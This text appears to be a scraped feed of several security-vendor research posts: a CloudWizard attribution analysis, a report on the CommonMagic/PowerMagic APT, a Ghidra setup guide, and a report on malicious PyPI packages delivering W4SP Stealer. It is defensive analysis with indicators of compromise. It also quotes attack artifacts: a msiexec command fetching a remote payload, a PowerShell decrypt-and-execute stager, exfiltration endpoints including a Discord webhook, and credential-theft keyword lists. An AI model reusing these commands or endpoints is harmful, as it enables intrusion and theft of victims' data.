Uses RC5 (hard-coded key: 7Ni9VnCs976Y5U4j) from the RC5Simple library for C2 server traffic encryption and decryption Uses RSA and AES for C2 server traffic encryption and decryption (the keys are specified in a configuration file)

Attribution magic

After spending considerable time researching CloudWizard, we decided to look for clues that would allow us to attribute it to an already known actor. CloudWizard reminded us of two campaigns observed in Ukraine and reported in public: Operation Groundbait and Operation BugDrop. Operation Groundbait was first described by ESET in 2016, with the first implants observed in 2008. While investigating Operation Groundbait, ESET uncovered the Prikormka malware, which is  “the first publicly known Ukrainian malware that is being used in targeted attacks”. According to ESET’s report, the threat actors behind Operation Groundbait “most likely operate from within Ukraine”.

As for Operation BugDrop, it is a campaign discovered by CyberX in 2017. In their report, CyberX claims (without providing strong evidence) that Operation BugDrop has similarities with Operation Groundbait. And indeed, we have discovered evidence confirming this:

  • Prikormka USB DOCS_STEALER module (MD5: 7275A6ED8EE314600A9B93038876F853B957B316) contains the PDB path D:\My\Projects_All\2015\wallex\iomus1_gz\Release\iomus.pdb;
  • BugDrop USB stealer module (MD5: a2c27e73bc5dec88884e9c165e9372c9) contains the PDB path D:\My\Projects_All\2016\iomus0_gz\Release\usdlg.pdb.

The following facts allow us to conclude with medium to high confidence that the CloudWizard framework is operated by the actor behind Operation Groundbait and Operation BugDrop:

  • ESET researchers found the loader of CloudWizard version 4.0 dll (with the export name LCrPsdNew.dll) to be similar to a Prikormka DLL. The similarity between these two files has been noted in the Virus Bulletin 2019 talk ‘Rich headers: leveraging the mysterious artifact of the PE format’ (slide 42)

    Slide 42 of the VB2019 'Rich headers: leveraging the mysterious artifact of the PE format' talk

    Slide 42 of the VB2019 ‘Rich headers: leveraging the mysterious artifact of the PE format’ talk

  • ESET detects a loader of a CloudWizard v. 4 sample (MD5: 406494bf3cabbd34ff56dcbeec46f5d6, PDB path: D:\Projects\Work_2017\Service\Interactive Service_system\Release\Service.pdb) as Win32/Prikormka.CQ.
  • According to our telemetry data, multiple infections with the Prikormka malware ended with a subsequent infection with the CloudWizard framework
  • Implementation of several modules of CloudWizard resembles the corresponding one from the Prikormka and BugDrop modules, though rewritten from C to C++:
    • USB stealer modules retrieve the serial numbers and product IDs of connected USB devices via the IOCTL_STORAGE_QUERY_PROPERTY system call. The default fallback value in case of failure is the same, “undef”.

      Retrieval of USB device serial number and product ID in BugDrop (MD5: F8BDE730EA3843441A657A103E90985E)

      Retrieval of USB device serial number and product ID in BugDrop (MD5: F8BDE730EA3843441A657A103E90985E)

      Retrieval of USB device serial number and product ID in CloudWizard (MD5: 39B01A6A025F672085835BD699762AEC)

      Retrieval of USB device serial number and product ID in CloudWizard (MD5: 39B01A6A025F672085835BD699762AEC)

      Assignment of the 'undef' string in BugDrop and CloudWizard in the samples above

      Assignment of the ‘undef’ string in BugDrop (left) and CloudWizard (right) in the samples above

    • The modules for taking screenshots use the same list of window names that trigger an increase in the frequency of screenshot taking: ‘Skype’ and ‘Viber’. CloudWizard and Prikormka share the same default value for the screenshot taking interval (15 minutes).

      Comparison of the window title text in Prikormka (MD5: 16793D6C3F2D56708E5FC68C883805B5)

      Comparison of the window title text in Prikormka (MD5: 16793D6C3F2D56708E5FC68C883805B5)

      Addition of the 'SKYPE' and 'VIBER' string to a set of window titles in CloudWizard (MD5: 26E55D10020FBC75D80589C081782EA2)

      Addition of the ‘SKYPE’ and ‘VIBER’ string to a set of window titles in CloudWizard (MD5: 26E55D10020FBC75D80589C081782EA2)

    • The file listing modules in both Prikormka and CloudWizard samples have the same name: Tree. They also use the same format string for directory listings: “\t\t\t\t\t(%2.2u,%2.2u.%2.2u.%2.2u)\n”.

      Use of the same format string for directory listings in Prikormka (MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (MD5: BFF64B896B5253B5870FE61221D9934D)

      Use of the same format string for directory listings in Prikormka (MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (MD5: BFF64B896B5253B5870FE61221D9934D)

      Use of the same format string for directory listings in Prikormka (above, MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (below, MD5: BFF64B896B5253B5870FE61221D9934D)

    • Microphone modules record sound in the same way: first making a WAV recording using Windows Multimedia API and then converting it to MP3 using the LAME library. While this pattern is common in malware, the strings used to specify settings for the LAME library are specific: 8000 Hz and 16 Kbps. Both Prikormka and CloudWizard modules extract integers from these strings, using them in the LAME library.
    • A similar order of extensions is used in extension lists found in Prikormka and CloudWizard modules:
      Extension lists in Prikormka (MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (MD5: BFF64B896B5253B5870FE61221D9934D) Extension lists in Prikormka (MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (MD5: BFF64B896B5253B5870FE61221D9934D)

      Extension lists in Prikormka (left, MD5: EB56F9F7692F933BEE9660DFDFABAE3A) and CloudWizard (right, MD5: BFF64B896B5253B5870FE61221D9934D)

  • In Prikormka, the names of files to be uploaded to the C2 server have the name format mm.yy_hh.mm.ss.<extension>. In CloudWizard, the files have the name format dd.mm.yyyy_hh.mm.ss.ms.dat. The date substituted into the name format strings is retrieved from the GetLocalTime API function.
  • The C2 servers of both Prikormka and CloudWizard are hosted by Ukrainian hosting services. Additionally, there are similarities between BugDrop and CloudWizard in terms of exfiltrating files to the Dropbox cloud storage.
  • Victims of Prikormka, BugDrop and CloudWizard are located in western and central Ukraine, as well as the area of conflict in Eastern Europe.

As for the similarities between CloudWizard and CommonMagic, they are as follows:

  • The code that performs communication with OneDrive is identical in both frameworks. We did not find this code to be part of any open-source library. This code uses the same user agent: “Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10136”.

The same strings in the internet communication module of CloudWizard (MD5: 84BDB1DC4B037F9A46C001764C115A32) and CommonMagic (MD5: 7C0E5627FD25C40374BC22035D3FADD8)

The same strings in the internet communication module of CloudWizard (left, MD5: 84BDB1DC4B037F9A46C001764C115A32) and CommonMagic (right, MD5: 7C0E5627FD25C40374BC22035D3FADD8)

  • Both frameworks, CloudWizard (version 4) and CommonMagic use the RC5Simple library for encryption. Files encrypted with RC5Simple start with a 7-byte header, which is set to ‘RC5SIMP’ in the library source code. However, this value has been changed in the malicious implants: DUREX43 in CloudWizard and Hwo7X8p in CommonMagic. Additionally, CloudWizard and CommonMagic use the RapidJSON library for parsing JSON objects.
  • Names of files uploaded to the C2 server in CommonMagic have the format mm.dd _hh.mm.ss.ms.dat (in CloudWizard, the name format is dd.mm.yyyy_hh.mm.ss.ms.dat).
  • Victim IDs extracted from CloudWizard and CommonMagic samples are similar: they contain a date followed by the two same letters, e.g. 03072020DD, 05082020BB in CloudWizard and WorkObj20220729FF in CommonMagic.
  • Victims of CommonMagic and CloudWizard are located in the area of conflict in Eastern Europe.

So what?

We initiated our investigation back in 2022, starting with simple malicious PowerShell scripts deployed by an unknown actor and ended up discovering and attributing two large related modular frameworks: CommonMagic and CloudWizard. As our research demonstrates, their origins date back to 2008, the year the first Prikormka samples were discovered. Since 2017, there have been no traces of Groundbait and BugDrop operations. However, the actor behind these two operations has not ceased their activity, and has continued developing their cyberespionage toolset and infecting targets of interest for more than 15 years.

Indicators of compromise

NSIS installer

MD5 0edd23bbea61467f144d14df2a5a043e
SHA256 177f1216b55058e30a3ce319dc1c7a9b1e1579ea3d009ba965b18f795c1071a4

Loader (syncobjsup.dll)

MD5 a2050f83ba2aa1c4c95567a5ee155dca
SHA256 041e4dcdc0c7eea5740a65c3a15b51ed0e1f0ebd6ba820e2c4cd8fa34fb891a2

Orchestrator (Main.dll)

MD5 0ca329fe3d99acfaf209cea559994608
SHA256 11012717a77fe491d91174969486fbaa3d3e2ec7c8d543f9572809b5cf0f2119

Domains and IPs

91.228.147[.]23
curveroad[.]com

]]>
https://securelist.com/cloudwizard-apt/109722/feed/ 0 full large medium thumbnail
Bad magic: new APT found in the area of Russo-Ukrainian conflict https://securelist.com/bad-magic-apt/109087/ https://securelist.com/bad-magic-apt/109087/#respond Tue, 21 Mar 2023 08:00:37 +0000 https://kasperskycontenthub.com/securelist/?p=109087

Since the start of the Russo-Ukrainian conflict, Kaspersky researchers and the international community at large have identified a significant number of cyberattacks executed in a political and geopolitical context. We previously published an overview of cyber activities and the threat landscape related to the conflict between Russia and Ukraine and continue to monitor new threats in these regions.

In October 2022, we identified an active infection of government, agriculture and transportation organizations located in the Donetsk, Lugansk, and Crimea regions. Although the initial vector of compromise is unclear, the details of the next stage imply the use of spear phishing or similar methods. The victims navigated to a URL pointing to a ZIP archive hosted on a malicious web server. The archive, in turn, contained two files:

  • A decoy document (we discovered PDF, XLSX and DOCX versions)
  • A malicious LNK file with a double extension (e.g., .pdf.lnk) that leads to infection when opened

Malicious ZIP archive

Malicious ZIP archive

Decoy Word document (subject: Results of the State Duma elections in the Republic of Crimea)

Decoy Word document (subject: Results of the State Duma elections in the Republic of Crimea)

In several cases, the contents of the decoy document were directly related to the name of the malicious LNK to trick the user into activating it. For example, one archive contained an LNK file named “Приказ Минфина ДНР № 176.pdf.lnk” (Ministry of Finance Decree No. 176), and the decoy document explicitly referenced it by name in the text.

Decoy PDF with reference to a malicious shortcut file (subject: information about DPR Ministry of Finance Decree No. 176)

Decoy PDF with reference to a malicious shortcut file (subject: information about DPR Ministry of Finance Decree No. 176)

The ZIP files were downloaded from various locations hosted on two domains: webservice-srv[.]online and webservice-srv1[.]online

Known attachment names, redacted to remove personal information:

MD5 (name) First detection
0a95a985e6be0918fdb4bfabf0847b5a (новое отмена решений уик 288.zip) 2021-09-22 13:47
ecb7af5771f4fe36a3065dc4d5516d84 (внесение_изменений_в_отдельные_законодательные_акты_рф.zip) 2022-04-28 07:36
765f45198cb8039079a28289eab761c5 (гражданин рб (redacted) .zip) 2022-06-06 11:40
ebaf3c6818bfc619ca2876abd6979f6d (цик 3638.zip) 2022-08-05 08:39
1032986517836a8b1f87db954722a33f (сз 14-1519 от 10.08.22.zip) 2022-08-12 10:21
1de44e8da621cdeb62825d367693c75e (приказ минфина днр № 176.zip) 2022-09-23 08:10

When the potential victim activates the LNK file included in the ZIP file, it triggers a chain of events that lead to the infection of the computer with a previously unseen malicious framework that we named CommonMagic. The malware and techniques used in this campaign are not particularly sophisticated, but are effective, and the code has no direct relation to any known campaigns.

Infection chain

Infection chain

Infection chain

Installation workflow

Installation workflow

The malicious LNK points to a remotely hosted malicious MSI file that is downloaded and started by the Windows Installer executable.

%WINDIR%\System32\msiexec.exe /i 
http://185.166.217[.]184/CFVJKXIUPHESRHUSE4FHUREHUIFERAY97A4FXA/attachment.msi /quiet

The MSI file is effectively a dropper package, containing an encrypted next-stage payload (service_pack.dat), a dropper script (runservice_pack.vbs) and a decoy document that is supposed to be displayed to the victim.

Files contained in attachment.msi

Files contained in attachment.msi

The encrypted payload and the decoy document are written to the folder named %APPDATA%\WinEventCom. The VBS dropper script is, in turn, a wrapper for launching an embedded PowerShell script that decrypts the next stage using a simple one-byte XOR, launches it and deletes it from disk.

Decryption of service_pack.dat

$inst="$env:APPDATA\WinEventCom\service_pack.dat";
if (!(Test-Path $inst)){
	return;
}
$binst=[System.IO.File]::ReadAllBytes($inst);
$xbinst=New-Object Byte[] $binst.Count;
for ($i=0;$i-lt$binst.Count;$i++) {
	$xbinst[$i]=$binst[$i]-bxor0x13;
	$xbinst[$i]=$binst[$i]-bxor0x55;
	$xbinst[$i]=$binst[$i]-bxor0xFF;
	$xbinst[$i]=$binst[$i]-bxor0xFF;
};
Try {
	[System.Text.Encoding]::ASCII.GetString($xbinst)|iex;
}
Catch {};
Start-Sleep 3;
Remove-Item -Path $inst -Force

The next-stage script finalizes the installation: it opens the decoy document to display it to the user, writes two files named config and manutil.vbs to %APPDATA%\WinEventCom, and creates a Task Scheduler job named WindowsActiveXTaskTrigger, to execute the wscript.exe%APPDATA%\WinEventCom\manutil.vbs command every day.

The PowerMagic backdoor

The script manutil.vbs, which is dropped by the initial package, is a loader for a previously unknown backdoor written in PowerShell that we named PowerMagic. The main body of the backdoor is read from the file %APPDATA%\WinEventCom\config and decrypted with a simple XOR (key: 0x10).

Snippet of PowerMagic’s code containing the “powermagic” string

$AppDir='powermagic';
$ClinetDir='client';
$ClinetTaskDir='task';
$ClinetResultDir='result';
$ClientToken=redacted
$dbx_up='https://content.dropboxapi.com/2/files/upload';
$dbx_down = 'https://content.dropboxapi.com/2/files/download';

When started, the backdoor creates a mutex – WinEventCom. Then, it enters an infinite loop communicating with its C&C server, receiving commands and uploading results in response. It uses OneDrive and Dropbox folders as transport, and OAuth refresh tokens as credentials.

Every minute the backdoor performs the following actions:

  1. Modifies the heartbeat file located at /$AppDir/$ClientDir/<machine UID> (the values of the $AppDir and $ClientDir PowerShell variables may differ between samples). The contents of this file consist of the backdoor PID and a number incremented by one with each file modification.
  2. Downloads commands that are stored as a file in the /$AppDir/$ClientTaskDir directory.
  3. Executes every command as a PowerShell script.
  4. Uploads the output of the executed PowerShell command to the cloud storage, placing it in the /$AppDir/$ClientResultDir/<victim machine UUID>.<timestamp> file.

The CommonMagic framework

As it turned out, PowerMagic was not the only malicious toolkit used by the actor. All the victims of PowerMagic were also infected with a more complicated, previously unseen, modular malicious framework that we named CommonMagic. This framework was deployed after initial infection with the PowerShell backdoor, leading us to believe that CommonMagic is deployed via PowerMagic.

The CommonMagic framework consists of several executable modules, all stored in the directory C:\ProgramData\CommonCommand. Modules start as standalone executable files and communicate via named pipes. There are dedicated modules for interaction with the C&C server, encryption and decryption of the C&C traffic and various malicious actions.

The diagram below illustrates the architecture of the framework.

Framework architecture

Framework architecture

Network communication

The framework uses OneDrive remote folders as a transport. It utilizes the Microsoft Graph API using an OAuth refresh token embedded into the module binary for authentication. The RapidJSON library is used for parsing JSON objects returned by the Graph API.

A dedicated heartbeat thread updates the remote file <victim ID>/S/S.txt every five minutes with the local timestamp of the victim.

Then, in separate threads, the network communication module downloads new executable modules from the directory <victim ID>/M and uploads the results of their execution to the directory <victim ID>/R.

The data exchanged with the operator via the OneDrive location is encrypted using the RC5Simple open-source library. By default, this library uses the seven-byte sequence “RC5SIMP” at the beginning of the encrypted sequence, but the developers of the backdoor changed it to “Hwo7X8p”. Encryption is implemented in a separate process, communicating over the pipes named \\.\pipe\PipeMd and \\.\pipe\PipeCrDtMd.

Plugins

So far, we have discovered two plugins implementing the malicious business logic. They are located in the directory C:\ProgramData\CommonCommand\Other.

  • Screenshot (S.exe) – takes screenshots every three seconds using the GDI API
  • USB (U.exe) – collects the contents of the files with the following extensions from connected USB devices: .doc, .docx. .xls, .xlsx, .rtf, .odt, .ods, .zip, .rar, .txt, .pdf.

To be continued

So far, we have found no direct links between the samples and data used in this campaign and any previously known actors. However, the campaign is still active, and our investigation continues. So, we believe that further discoveries may reveal additional information about this malware and the threat actor behind it.

CommonMagic indicators of compromise

Lure archives
0a95a985e6be0918fdb4bfabf0847b5a новое отмена решений уик 288.zip (new cancellation of resolution local election committee 288.zip)
ecb7af5771f4fe36a3065dc4d5516d84 внесение_изменений_в_отдельные_законодательные_акты_рф.zip (making changes to several russian federation laws.zip)
765f45198cb8039079a28289eab761c5 гражданин рб (redacted) .zip (citizen of republic of belarus (redacted).zip)
ebaf3c6818bfc619ca2876abd6979f6d цик 3638.zip (central election committee 3638.zip)
1032986517836a8b1f87db954722a33f сз 14-1519 от 10.08.22.zip (memo 14-1519 dated 10.08.22.zip)
1de44e8da621cdeb62825d367693c75e приказ минфина днр № 176.zip (dpr ministry of finance order #176.zip)

PowerMagic installer
fee3db5db8817e82b1af4cedafd2f346 attachment.msi

PowerMagic dropper
bec44b3194c78f6e858b1768c071c5db service_pack.dat

PowerMagic loader
8c2f5e7432f1e6ad22002991772d589b manutil.vbs

PowerMagic backdoor
1fe3a2502e330432f3cf37ca7acbffac

CommonMagic loader
ce8d77af445e3a7c7e56a6ea53af8c0d All.exe

CommonMagic cryptography module
9e19fe5c3cf3e81f347dd78cf3c2e0c2 Clean.exe

CommonMagic network communication module
7c0e5627fd25c40374bc22035d3fadd8 Overall.exe

Distribution servers
webservice-srv[.]online
webservice-srv1[.]online
185.166.217[.]184

]]>
https://securelist.com/bad-magic-apt/109087/feed/ 0 full large medium thumbnail
How to train your Ghidra https://securelist.com/how-to-train-your-ghidra/108272/ https://securelist.com/how-to-train-your-ghidra/108272/#respond Fri, 09 Dec 2022 13:00:23 +0000 https://kasperskycontenthub.com/securelist/?p=108272

Getting started with Ghidra

For about two decades, being a reverse engineer meant that you had to master the ultimate disassembly tool, IDA Pro. Over the years, many other tools were created to complement or directly replace it, but only a few succeeded. Then came the era of decompilation, adding even more to the cost and raising the barrier to entry into the RE field.

Then, in 2019, Ghidra was published: a completely open-source and free tool, with a powerful disassembler and a built-in decompiler for each supported platform. However, the first release did not look even close to what us reverse engineers were used to, so many of us tried and then abandoned it.

It may sound anecdotal, but the most popular answer to, “Have you used Ghidra?” I usually hear is, “Yeah, tried it, but I’m used to IDA”, or “I don’t have the time to check it out; maybe later”.  I was like that, too: tried to reverse something, failed miserably, went back to familiar tools. I would still download a newer version every once and then, and try to do some work or play CTF. One day, after making a few improvements to the setup and adding the missing databases, I would not go back.

So, here is my brief introduction to setting up Ghidra, and then configuring it with a familiar UI and shortcuts, so that you would not need to re-learn all the key sequences you have got used to over the years.

Disclaimer

Ghidra is a complex collection of source code with many third-party dependencies that are known to contain security vulnerabilities. There are no guarantees that the current code base is free from those or that it does not contain any backdoors. Proceed with caution, handle with care.

Building Ghidra

Of course, the easiest way to obtain Ghidra is to download the current release published on Github. The current code is months behind the master branch, and will most likely be missing all the latest features. So, although this is not the officially recommended approach, I suggest getting the bleeding-edge code from the master branch and building the binaries yourself. In the meantime, we are going to prepare our own build of the master branch and make it available for download.

So, let us begin. First, you need the following prerequisites:

All OSs:

Additionally, you need the platform-specific compiler for building the native binaries:

  • Windows: Microsoft Visual Studio (2017 or later; 2022 Community edition works well)
  • Linux: modern GNU Compiler Collection (9 and 12 work well)
  • macOS: Xcode build tools

Then, download the latest source code in a ZIP archive and extract it, or clone the official Git repository.

Windows build

Open the command line prompt (CMD.EXE). Set the directory containing the source code as the current one:
cd %directory_of_ghidra_source_code%

Run “bin\gradle.bat” from the Gradle directory to initialize the source tree and download all the dependecies:
gradle.bat -I .\gradle\support\fetchDependencies.gradle init

You need an active Internet connection, and it may take 5–10 minutes to download the dependencies.

In the end, the output should state, “BUILD SUCCESSFUL” and also print clearly that Visual Studio was located (required for further building).

If there were problems, check your Internet connection—provided that you have Visual Studio, JDK and Gradle properly installed. Once the build succeeds, issue the final command:
gradle.bat buildGhidra

It will take more time, you may see lots of warnings printed out, but the final verdict still should be, “BUILD SUCCEESFUL”.

The complete Ghidra package is written as a ZIP archive to the “build\dist” directory. To run Ghidra, extract the ZIP archive and start “ghidraRun.bat”.

At the time of writing this, Ghidra 10.3-DEV used the “Windows” UI configuration as the default one, so there was no need to reconfigure the “look and feel” option.

Linux build

Use an existing terminal window or open a new one.
Set the directory containing the source code as the current one:
cd %directory_of_ghidra_source_code%

Run “bin\gradle” from the Gradle directory to initialize the source tree and download all the dependencies:
gradle -I ./gradle/support/fetchDependencies.gradle init

You need an active Internet connection, and it may take 5–10 minutes to download the dependencies. Please note that the task may fail if your locale is different from “en_US” and GCC uses translated messages:

This may happen, for example, with the Russian locale, because the version string for GCC is translated:

As a mitigation, run gradle prefixed with “LANG=C”:
LANG=C gradle -I ./gradle/support/fetchDependencies.gradle init

In the end, the output should state, “BUILD SUCCESSFUL”.

Then, build Ghidra and all the dependencies:
Gradle buildGhidra

Once the build succeeds, a ZIP archive can be located in the build/dist directory. Extract it from there.

To start Ghidra, use the “ghidraRun” shell script in the root directory of the extracted archive:

At the time of writing this, version 10.3-DEV used the “Nimbus” look and feel as the default:

To use a more familiar look and feel, switch to “Native” or “GTK+” using the “Edit -> Tool Options -> Tool” menu, and choose the relevant item from the “Swing Look And Feel” dropdown list. This is what the “Native” theme looks on Gnome 3:

macOS build

For macOS, you need to have the Xcode command-line tools installed, and that includes a substitute for GCC and make. This can simply be done by opening a Terminal window and running gcc. If the tools are not installed, an installation dialog will appear. Just confirm the installation and wait for the tools to download.

Once the tools are installed, the build process is identical to that in Linux.
Set the directory containing the source code as the current one:
cd %directory_of_ghidra_source_code%

Run “bin\gradle” from the Gradle directory to initialize the source tree and download all the dependencies:
gradle -I ./gradle/support/fetchDependencies.gradle init

Then, start the main build process:
gradle buildGhidra

Unzip the resulting Ghidra package from the build/dist directory and start the “ghidraRun” shell script:

The default look and feel for macOS is native by default:

Setting up the UI

To configure Ghidra, let us first create a temporary project. A project used for storing all the results of the analysis, like an IDB, but for several files (samples) and folders, can also hold type databases that can be shared between different files. It can even be linked to a remote database for collaborative work, but that is far beyond our scope of just setting up.

So, let us use the “File -> New Project…” menu, type in a project name and filesystem location, and continue:

Now, we have an empty project. Let us start the CodeBrowser tool that is the main UI for working with the binaries:

This will open an empty listing window, with a few subwindows inside:

This is going to be the primary workspace in Ghidra, so let us reconfigure it to behave and look a bit closer to what we are used to.

Navigation bar
It is vertical and located on the right side of the listing by the scrollbar. To turn it on, use the “overview” button:

The rest of the options are set in the “Options” window by using the “Edit -> Tool Options…” menu.

Hex editor font
Select the following on the “Options -> ByteViewer” tab:

Hexadecimal offsets in structures
Set the following on the “Options -> Structure Editor” tab:

Shortcuts!
Default shortcuts, or “key bindings”, may be very confusing even for a seasoned reverse engineer and seem to be based on the ones used by Eclipse. You can search for shortcuts of interest and set or change them using a filter. To make the transition easier, we have prepared a prebuilt configuration with familiar shortcuts (C for code, D for data, X for xrefs, Esc for going back, etc.), which you can download from here and import:

Disassembly listing font
Choose the color and font on the “Options -> Listing Display” tab:

Compact listing of array items:
These are called “elements per line” on the “Listing Fields -> Array Options” tab. Also, you may want to change the “Array Index Format” to “hex” to prevent any confusion in the listing.

One line per instruction
To achieve that, set the “maximum lines to display” to “1” in the “Options -> Listing Fields -> Bytes Field” menu. It also makes sense to check “Display in Upper Case”.

Highlight by Left Mouse Click
This is probably the most searched-for option, with the most frustrating defaults. To get values, registers, labels, and anything else highlighted with a left mouse click, set the option “Options -> Listing Fields -> Cursor Text Highlight”, “Mouse Button To Activate” to “LEFT” (the default is “MIDDLE”).

Function headers and footers
Tick the options “Flag Function Entry” and “Flag Function Exits” on the “Options -> Listing Fields -> Format Code” tab.

At the same time, uncheck the “Display Function Label” option on the “Options -> Listing Fields -> Labels Field” tab to remove an unnecessary line for each function header.

Turn off horizontal scrolling
Uncheck this option on the “Options -> Listing Fields -> Mouse” tab:

Show “normal” register names, long arrays, and strings
By default, Ghidra will display local variable names instead of registers. In some cases, this may be useful, but may also cause frustration when trying to read plain assembly.
To force Ghidra to show plain register names, uncheck the “Markup register variable references” option on the “Options -> Listing Fields -> Operands Field” tab.
It may also help to increase the “Maximum Lines to Display” to 200, and to check the “Enable word wrapping” option to make arrays and strings in the listing easier to read.

Increase the number of cross-references to display
This option can be configured on the “Options -> Listing Fields -> XREFs Field” tab:

Change the width of the address, bytes, and opcodes columns
Ghidra uses the concept of “fields” that can be moved around and reformatted via the UI. This UI feature can be activated with the button named “Edit the Listing fields” in the main listing window.

When this is activated, you can move the columns around and change their width. The configuration is saved if you choose “save the tool” when exiting CodeBrowser.

Opening a file for analysis

Now that we have set up the UI, let us start our first analysis. To analyze a file, you need to import it first. This includes copying the data into the database, so that the original file can be deleted from the file system and the imported file can be saved back to disk.

To import a file, use the “File -> Import File…” menu in the Ghidra project window. You will be presented with an import dialog.

To prevent any confusion, treat the “language” as the Ghidra name for a combination of the processor name, byte endianness, and compiler variety. You may need to choose it manually if the file format is not recognized or if there is no format at all.

After the file is imported, it will appear in the project window. From there, you can open it in the CodeBrowser tool to open the main listing window:

For the new files, you will need to start manual analysis tasks or allow the autoanalysis process to do all the usual routine tasks of identifying code, data, functions, etc.:

The default configuration of the “analyzers”, which are separate analysis tasks, should be sufficient in most cases:

The analysis will start, and you will be presented with a CodeBrowser window gradually updating all the information:

Here are a few tips on working with CodeBrowser:

  • The “Symbol Tree” can be used to find all functions, exports including the entrypoint, and imports. Use it to find the starting points of your analysis.
  • The “Data Type Manager” contains all the types, structures, typedefs, pointers, and enums. External type libraries are loaded here, in the “arrow” menu.
  • Use the “Window” menu to discover most of the CodeBrowser functionality.
  • File segments are displayed in the “Memory Map” window. Open it with a button or via the “Window” menu.

Going further

Ghidra comes with a collection of helper scripts in Java and Python that can be located by using the “Script Manager”: use the button or open via the “Window” menu. Also, it has a built-in Python 2—actually, Jython—interactive console. Use the “Window -> Python” menu and discover the flat API using “dir()”:

A few more things

Currently, the vanilla Ghidra build is missing lots of Windows datatypes that are required for typical malware analysis tasks. We have prepared an extended type information database for Windows, and added FIDBs (runtime function signatures) for VS2013 and Delphi. These can be downloaded from here.

This is just the beginning

We hope that this manual will help with reconfiguring Ghidra into a more convenient and easier-to-use tool. With additional type and signature databases, it may become powerful enough for a primary RE tool, while being free and open source. Remember to come back for updates!

]]>
https://securelist.com/how-to-train-your-ghidra/108272/feed/ 0 full large medium thumbnail
Two more malicious Python packages in the PyPI https://securelist.com/two-more-malicious-python-packages-in-the-pypi/107218/ https://securelist.com/two-more-malicious-python-packages-in-the-pypi/107218/#comments Tue, 16 Aug 2022 12:00:59 +0000 https://kasperskycontenthub.com/securelist/?p=107218

On August 8, CheckPoint published a report on ten malicious Python packages in the Python Package Index (PyPI), the most popular Python repository among software developers. The malicious packages were intended to steal developers’ personal data and credentials.

Following this research, we used our internal automated system for monitoring open-source repositories and discovered two other malicious Python packages in the PyPI. They were masquerading as one of the most popular open-source packages named “requests“.

Timeline of uploaded packages:

Package name Version Timestamp (UTC)
pyquest 2.28.1 2022-07-30 10:11:47.000
pyquest 2.28.2 2022-07-30 10:15:28.000
pyquest 2.28.3 2022-07-30 10:19:14.000
ultrarequests 2.28.3 2022-07-30 10:25:41.000

The attacker used a description of the legitimate “requests” package in order to trick victims into installing a malicious one. The description contains faked statistics, as if the package was installed 230 million times in a month and has more than 48000 “stars” on GitHub. The project description also references the web pages of the original “requests” package, as well as the author’s email. All mentions of the legitimate package’s name have been replaced with the name of the malicious one.

After downloading the malicious packages, it becomes clear that the source code is nearly identical to the code of the legitimate “requests” package, except for one file: exception.py. In the malicious package, this script was last modified on July 30, exactly on the date of publication of the malicious package.

The malicious payload is a Base64-encoded Python script hidden in the “HTTPError” class. The script writes another Python one-liner script into a temporary file and then runs that file via the system.start() function. Then that one-liner script downloads the next-stage script from https://zerotwo-best-waifu[.]online/778112985743251/wap/enner/injector and executes it.

Downloader

The next stage is a downloader obfuscated with a publicly available tool named Hyperion. Obfuscation is done using multiple techniques, such as renaming variables and library functions, adding mixed boolean-arithmetic expressions and junk code, and compressing the code chunks with the zlib library.

The downloader terminates if the OS name is not “nt” (Windows). It randomly selects one of the directories under C:\Users\<username>\AppData\Roaming or C:\Users\<username>\AppData\Local, generates a random eight-characters string consisting of the “bcdefghijklmnopqrstuvwxyz” characters and randomly picks one of extensions from the following list:

['.dll', '.png', '.jpg', '.gay', '.ink', '.url', '.jar', '.tmp', '.db', '.cfg']

Then the malware downloads the final stage payload from https://zerotwo-best-waifu[.]online/778112985743251/wap/shatlegay/stealer123365, saves it to the previously generated location and executes it.

In order to achieve persistence on the infected machine, the malware creates a registry value with name “Realtek HD Audio Universal Service” in the HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Windows system registry branch.

The script searches for an existing executable in the %system32% directory, named SecurityHealthSystray.exe or the SystemSettingsAdminFlows.exe, adds a “&” character (to ensure sequential execution in a command-line string), and then adds the location of the Python interpreter with the location of the malicious script. It is worth noting that this method does not work properly, as the system starts only the first executable, and the persistence is not actually achieved.

C:\Windows\System32\<SecurityHealthSystray.exe | SystemSettingsAdminFlows.exe> & <Python interpreter path> <generated path for dropped final payload>

Final payload: W4SP Stealer

The final payload is a Trojan written in Python and obfuscated with the same obfuscator as the downloader. The malware is dubbed “W4SP Stealer” by its author in the code.

Upon launching, the stealer identifies the external IP address of the victim’s machine by making a GET request to https://api.ipify.org and installs two legitimate PyPI packages – “requests” and “pycryptodome” in order to send exfiltrated data to the operator and work with cryptography for decrypting cookies and passwords from browsers. Then the malware starts collecting Discord tokens, saved cookies and passwords from browsers in separate threads.

Collected passwords and cookies are stored in the files %TEMP%\wppassw.txt and %TEMP%\wpcook.txt in the following format:

UR1: <URL> | U53RN4M3: <USERNAME> | P455W0RD: <DECRYPTED_PASSWORD>

H057 K3Y: <HOST_KEY> | N4M3: <NAME>| V41U3: <DECRYPTED_COOKIE>

All files created by the stealer on the victim’s machine start with the line: “<–W4SP STEALER ON TOP–>”.  All collected data is sent to the operator via a Discord webhook (https://discord[.]com/api/webhooks/1001296979948740648/4wqCErLU3BVeKWnxDA70Gns5vcfxh5OCb3YDIFZaFujqfSRIwHH4YIu3aLOVWjCDeO1H) and rendered in a prettified format:

The stealer also creates and sends a list of saved browser credentials for the URLs containing keywords “mail”, “card”, “bank”, “buy”, “sell”, etc. (see Appendix for a full list). Apart from that, it gathers data from the MetaMask, Atomic and Exodus wallets, as well as Steam and Minecraft credentials.

Having collected credentials, the stealer starts traversing the victim’s directories named Downloads, Documents and Desktop, looking for filenames containing the following words:

'passw', 'mdp', 'motdepasse', 'mot de passe', 'login', 'paypal', 
'banque', 'account', 'metamask', 'wallet', 'crypto', 'exodus', 
'discord', '2fa', 'code', 'memo', 'compte', 'token'

Interestingly, this list contains multiple French words: “mot de passe” (password), “mdp” (abbreviation for “mot de passe”), “banque” (bank), “compte” (account). The matching files are then uploaded to the same Discord channel.

